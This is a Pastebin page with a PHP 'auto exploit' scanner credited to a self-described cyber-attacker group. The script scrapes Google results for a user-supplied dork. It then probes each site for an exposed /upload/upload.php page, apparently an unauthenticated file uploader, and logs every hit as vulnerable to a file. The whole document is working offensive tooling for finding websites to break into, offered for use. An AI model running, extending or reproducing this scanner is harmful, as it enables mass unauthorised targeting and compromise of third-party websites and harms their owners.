Guest User

kimcilc0de.blogspot.com Kurumsal Auto Exploit

a guest
Jun 2nd, 2015
902
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.27 KB | None | 0 0
  1. <?php
  2. /*
  3. script by Garuda CYber attacker Coded by UnknownYmouz //dont change copyright
  4. Thx to DC, HN
  5. */
  6. class balit{
  7. private $url;
  8. private $dork;
  9. private $log=null;
  10. function __construct($file=null){
  11. echo"
  12. _ ___ _ _ ____ ___ _
  13. | |/ (_)_ __ ___ ___(_) |/ ___/ _ \ __| | ___
  14. | ' /| | ._ ` _ \ / __| | | | | | | |/ _` |/ _ \
  15. | . \| | | | | | | (__| | | |__| |_| | (_| | __/
  16. |_|\_\_|_| |_| |_|\___|_|_|\____\___/ \__._|\___|";
  17.  
  18. echo "/*Kurumsal Exploit Scanner By UnknownYmouz*/\n\n";
  19. echo "[+]Masukkan Dork: ";
  20. $fp = fopen("php://stdin", "rb");
  21. $dork = fgets($fp);
  22. $dork = str_replace(array("\n", "\r", "\r\n"), "", $dork);
  23. echo "[+]Masukkan jumlah situs yg discan: ";
  24. $total = fgets($fp);
  25. $total = str_replace(array("\n", "\r", "\r\n"), "", $total);
  26. fclose($fp);
  27. $this->dork = $dork;
  28. $this->total = $total;
  29. $this->log = $file;
  30. $this->scan();
  31. }
  32. function match($start, $end, $var){
  33. return preg_match_all("{".preg_quote($start).'(.*?)'.preg_quote($end)."}is", $var, $m) ? $m[1] : null;
  34. }
  35. function curl($dork=null, $x, $url=null){
  36. $ch = curl_init();
  37. if($dork != null && is_numeric($x)){
  38. curl_setopt($ch, CURLOPT_URL, "http://www.google.com/custom?q=".urlencode($dork)."&btnG=Search&start=".urlencode($x));
  39. }elseif($url != null && $x==null){
  40. curl_setopt($ch, CURLOPT_URL, $url);
  41. }
  42. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  43. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  44. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  45. curl_setopt($ch, CURLOPT_AUTOREFERER, true );
  46. curl_setopt($ch, CURLOPT_FAILONERROR, true);
  47. $exec = curl_exec($ch);
  48. curl_close($ch);
  49. return $exec;
  50. }
  51. function save($url){
  52. if($this->log != null){
  53. $fp = @fopen($this->log, "a") or die("cant open file");
  54. fwrite($fp, $url);
  55. fclose($fp);
  56. }else return false;
  57. }
  58. function parse($urls){
  59. for($a=0; $a<count($urls); $a++){
  60. $dev = parse_url($urls[$a]);
  61. @$scheme[] = $dev['scheme'];
  62. @$host[] = $dev['host'];
  63. }
  64. $unik = array_unique($host);
  65. foreach($unik as $key=>$url){
  66. $urls_[] = $scheme[$key]."://".$url;
  67. }
  68. return $urls_;
  69. }
  70. function waktu($start){
  71. $end = time() - $start;
  72. $detik = round($end);
  73. echo "\n~selesai dalam {$detik} detik\n";
  74. }
  75. function scan(){
  76. $start=0;
  77. $total=0;
  78. $mulai = time();
  79. do{
  80. $i=0;
  81. $data = $this->curl($this->dork, $start);
  82. $urls = $this->match('<a class="l" href="', '" onmousedown="', $data);
  83. if($urls==null){
  84. echo "~hasil tidak ada\n";
  85. $this->waktu($mulai);
  86. exit;
  87. }
  88. $urls_ = $this->parse($urls);
  89. $count = count($urls_);
  90. if($count==0){
  91. echo "hasil tidak ada atau ada halangan captcha :p\n~keluar";
  92. $this->waktu($mulai);
  93. exit;
  94. }
  95. do{
  96. $urlq = $urls_[$i];
  97. $url_ = $urlq."/upload/upload.php";
  98. $scan = $this->curl(null, null, $url_);
  99. if(preg_match("#Yukle#", $scan)){
  100. echo $urlq." -> vuln";
  101. $admin = $this->curl(null, null, $urlq."/upload/upload.php");
  102. if(preg_match('#Yukle#', $admin)){
  103. $dir = " ($urlq/upload/upload.php)";
  104. }else{
  105. $dir = " (NO.!)";
  106. }
  107. echo $dir."\n";
  108. $this->save("$urlq/upload/upload.php\r\n");
  109.  
  110. }else echo $urlq." -> NOT VULN\n";
  111. $total++;
  112. $i++;
  113. }while($i<$count && $total<$this->total);
  114. $start=$start+10;
  115. }while($total<$this->total);
  116. $this->waktu($mulai);
  117.  
  118. }
  119. }
  120. $gay = new balit("site_vuln_kurumsal.txt");
  121. ?>
Advertisement
Add Comment
Please, Sign In to add comment